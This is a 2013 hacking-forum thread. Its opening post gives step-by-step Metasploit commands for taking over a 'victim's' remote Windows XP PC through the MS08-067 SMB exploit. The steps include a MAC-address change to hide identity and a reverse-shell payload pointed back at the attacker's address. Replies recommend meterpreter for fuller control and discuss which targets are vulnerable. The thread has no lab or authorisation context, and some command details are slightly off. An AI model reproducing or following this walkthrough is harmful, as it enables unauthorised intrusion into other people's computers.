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Hack a Remote PC using Backtrack Windows XP - Anonymous36 - 10-07-2013

Here is a tutorial on how to hack a remote PC using Backtrack.

1.Open a new shell in Backtrack
2.First of all change your mac address:
--macchanger 00:11:22:33:44:55
3.Type in msfconsole
4.type in set payload windows/shell/reverse-tcp
5.Type in use exploit /windows/smb/ms08_067_netapi (this opens the exploitation tool)
6.After open a new shell and type ifconfig
7.Copy the inet addr
8.Go back to the exploitation shell and write set lhost [the address you copied]
9.Get the victim's PC ip address ususally "net view" in cmd
10.Go to the shell and type set rhost [victim's PC ip address]
11.Now type in show options Then it should give you the exploitation options
12.At last type exploit
13.Done you have access to victim's system

Good Luck
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Note:This is a tutorial for getting control over Windows XP.I am going to release other turorials soon.


RE: Hack a Remote PC using Backtrack - groove - 10-07-2013

This is an excellent way to start learning how to use metasploit exploits. Try using windows/meterpreter/reverse_tcp as the payload to see how meterpreter works. Also... I think this only works against WinXP without a firewall enabled. Keep this in mind if you're having trouble with success. Nice post for people looking to get their hands dirty.

groove


RE: Hack a Remote PC using Backtrack - chmod - 10-07-2013

This only targets windows XP anything else won't succeed nice post but you should have really mentioned this. Also I prefer to use a meterpriter payload as you gain more control over the target.

EDIT:
damn beaten to it lol I should learn to type faster on a phone.


RE: Hack a Remote PC using Backtrack - Anonymous36 - 10-07-2013

Yes i know what you both mean but i was trying to make the simplest tutorial so it is understandable for everyone.


RE: Hack a Remote PC using Backtrack - ReSIlIEncE - 10-08-2013

I think the only target you can use is windows xp sp2